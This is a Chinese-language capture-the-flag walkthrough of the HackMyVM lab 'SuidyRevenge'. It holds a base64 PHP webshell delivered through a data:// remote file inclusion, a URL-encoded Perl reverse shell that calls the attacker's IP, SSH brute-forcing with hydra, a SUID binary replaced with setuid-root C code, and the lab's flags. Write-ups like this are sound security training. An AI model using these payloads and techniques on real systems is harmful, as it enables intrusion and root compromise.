靶机链接:https://hackmyvm.eu/machines/machine.php?vm=SuidyRevenge
作者:sml
难度:⭐️⭐️⭐️
知识点:RFI 、data伪协议 、SUID文件替换、mv与cp
nmap -sV -sS 192.168.56.9 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-17 19:55 CST
Nmap scan report for 192.168.56.9
Host is up (0.00049s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http nginx 1.14.2
MAC Address: 08:00:27:C3:F8:55 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel
主页
Im proud to announce that "theuser" is not anymore in our servers. Our admin "mudra" is the best admin of the world. -suidy <!-- "mudra" is not the best admin, IM IN!!!! He only changed my password to a different but I had time to put 2 backdoors (.php) from my KALI into /supersecure to keep the access! -theuser -->
我很自豪地宣布,“theuser”不再在我们的服务器上了。我们的管理员“mudra”是世界上最棒的管理员。 -suidy
<!-- “mudra”并不是最棒的管理员,是我在!他只是把我的密码改了,但我有时间把两个后门(.php文件)从我的KALI放到/supersecure目录里,以保持访问! -theuser -->
获取到几个用户名
theuser
suidy
mudra
一个路径
/supersecure
对路径进行扫描
dirsearch -u http://192.168.56.9/supersecure
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg\_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg\_resources.html
from pkg\_resources import DistributionNotFound, VersionConflict
\_|. \_ \_ \_ \_ \_ \_|\_ v0.4.3
(\_||| \_) (/\_(\_|| (\_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/hmv/suidyreverse/reports/http\_192.168.56.9/\_supersecure\_24-11-17\_20-01-43.txt
Target: http://192.168.56.9/
[20:01:43] Starting: supersecure/
[20:02:02] 200 - 28B - /supersecure/simple-backdoor.php
Task Completed
访问网站后门
利用cmd参数反弹shell
没弹成功
ls看下有什么东西
mysuperbackdoor.php
simple-backdoor.php
读一下文件
我测,38万条file parameter is my friend.,差点给我卡司机
当把simple-backdoor.php 作为File参数时
而且也可以使用cmd参数
可能这里存在文件包含
发现存在远程文件包含
尝试远程包含get马
发现解析不了
<?php
system($\_GET['cmd']);
echo 'okok');
?>
参考:3.quick
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnb2snIDs/Pg==
成功解析
执行命令反弹shell
http://192.168.56.9/supersecure/mysuperbackdoor.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnb2snIDs/Pg==&cmd=perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.56.6%22%3B%24p%3D1122%3Bsocket%28S%2CPF\_INET%2CSOCK\_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr\_in%28%24p%2Cinet\_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fsh%20-i%22%29%3B%7D%3B%27
进来后发现只能进入suidy用户的目录
提权检测一下
(remote) www-data@suidyrevenge:/home/suidy$ find / -perm -4000 2>/dev/null
/home/suidy/suidyyyyy
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/umount
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/mount
/usr/bin/violent
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/passwd
(remote) www-data@suidyrevenge:/home/suidy$ /sbin/getcap / -r 2>/dev/null
/usr/bin/ping = cap\_net\_raw+ep
看来应该是要从suidyyyy这个文件下手
但是suidyyy这个东西我们没权限啊
先试一下可不可以切换到其他用户
theuser
suidy
mudra
切换不了。至少简单的密码不对
在网站根目录下发现murdanote.txt
(remote) www-data@suidyrevenge:/var/www/html$ cat murdanote.txt
I always lost my password so Im using
one password from rockyou.txt !
-murda
这就是说叫我们去爆破他的密码啊
hydra -l murda -P /usr/share/wordlists/rockyou.txt 192.168.56.9 ssh -vV
[22][ssh] host: 192.168.56.9 login: murda password: iloveyou
利用ssh工具连接上去
进来有个提示
murda@suidyrevenge:~$ cat secret.txt
I know that theuser is here!
I just got the id\_rsa from "violent".
I will put the key in a secure place for theuser!
I hope he find it.
Remember that rockyou.txt is your friend!
我知道theuser在这里!
我刚刚从“violent”那里拿到了id\_rsa。
我会把这个密钥放在一个安全的地方,供theuser使用!
希望他能找到它。
记住,rockyou.txt是你的朋友!
意思是murda 获取到了violent的私钥,放到了安全的地方给theuser使用
那肯定是要我们爆破theuser用户 获取私钥啊
爆了半天没出。利用首页给的提示用different成功登录
theuser@suidyrevenge:~$ cat user.txt
. \*\*
\* \*.
,\*
\*,
, ,\*
., \*,
/ \*
,\* \*,
/. .\*.
\* \*\*
,\* ,\*
\*\* \*.
\*\* \*\*.
,\* \*\*
\*, ,\*
\* \*\*
\*, .\*
\*. \*\*
\*\* ,\*,
\*\* \*,
HMVbisoususeryay
下一步应该就是获取violent用户的私钥
几个地方找了下没找到
回来看suidyyyy发现当前用户可以执行了
theuser@suidyrevenge:/home/suidy$ ls -la
total 52
drwxrwxr-x 3 suidy suidy 4096 Oct 2 2020 .
drwxr-xr-x 8 root root 4096 Oct 1 2020 ..
-rw------- 1 suidy suidy 25 Oct 1 2020 .bash\_history
-rwxrwx--- 1 suidy suidy 220 Oct 1 2020 .bash\_logout
-rwxrwx--- 1 suidy suidy 3526 Oct 1 2020 .bashrc
drwxr-xr-x 3 suidy suidy 4096 Oct 1 2020 .local
-rw-r----- 1 suidy suidy 262 Oct 1 2020 note.txt
-rwxrwx--- 1 suidy suidy 807 Oct 1 2020 .profile
-rwsrws--- 1 root theuser 16712 Oct 2 2020 suidyyyyy
看看suidy给我们的提示
suidy@suidyrevenge:/home/suidy$ cat note.txt
I know that theuser is not here anymore but suidyyyyy is now more secure!
root runs the script as in the past that always gives SUID to suidyyyyy binary
but this time also check the size of the file.
WE DONT WANT MORE "theuser" HERE!.
WE ARE SECURE NOW.
-suidy
我知道theuser不在这里了,但suidyyyyy现在更安全了!
root像过去一样运行脚本,总是给suidyyyyy二进制文件赋予SUID权限,但这次还检查了文件的大小。
我们不希望“theuser”再出现在这里!
我们现在很安全。
-suidy
这里提示我们这个文件会检测文件的大小
逆向分析看看
直接利用靶机的gcc编译一个与他大小差不多的然后替换掉即可
# include<stdlib.h>
int main(void){
setuid(0);
setgid(0);
system("/bin/bash");
}
gcc exp.c -o suidyyyyy
很好大小一模一样
替换执行
这里提权不了 多执行几次
root@suidyrevenge:/home/suidy# ./suidyyyyy
root@suidyrevenge:/home/suidy# id
uid=0(root) gid=0(root) groups=0(root),1004(theuser)
root@suidyrevenge:/root# cat script.sh
FILE=/home/suidy/suidyyyyy
if [ -f "$FILE" ]; then
echo ""
else
cp /root/suidyyyyy /home/suidy
chown root:theuser /home/suidy/suidyyyyy
chmod 770 /home/suidy/suidyyyyy
chmod +s /home/suidy/suidyyyyy
fi
if [ $(stat -c%s /root/suidyyyyy) -ne $(stat -c%s /home/suidy/suidyyyyy) ]; then
echo "They're different."
cp /root/suidyyyyy /home/suidy
chown root:theuser /home/suidy/suidyyyyy
chmod 770 /home/suidy/suidyyyyy
chmod +s /home/suidy/suidyyyyy
else
chmod +s /home/suidy/suidyyyyy
fi
root@suidyrevenge:/root# cat root.txt
. \*\*
\* \*.
,\*
\*,
, ,\*
., \*,
/ \*
,\* \*,
/. .\*.
\* \*\*
,\* ,\*
\*\* \*.
\*\* \*\*.
,\* \*\*
\*, ,\*
\* \*\*
\*, .\*
\*. \*\*
\*\* ,\*,
\*\* \*,
HMVvoilarootlala
mv与cp
mv: mv移动会影响SUID的权限所属,这题不能用mv移动suidyyyyy,因为会把root的suid变成当前用户的suid
cp:cp不会影响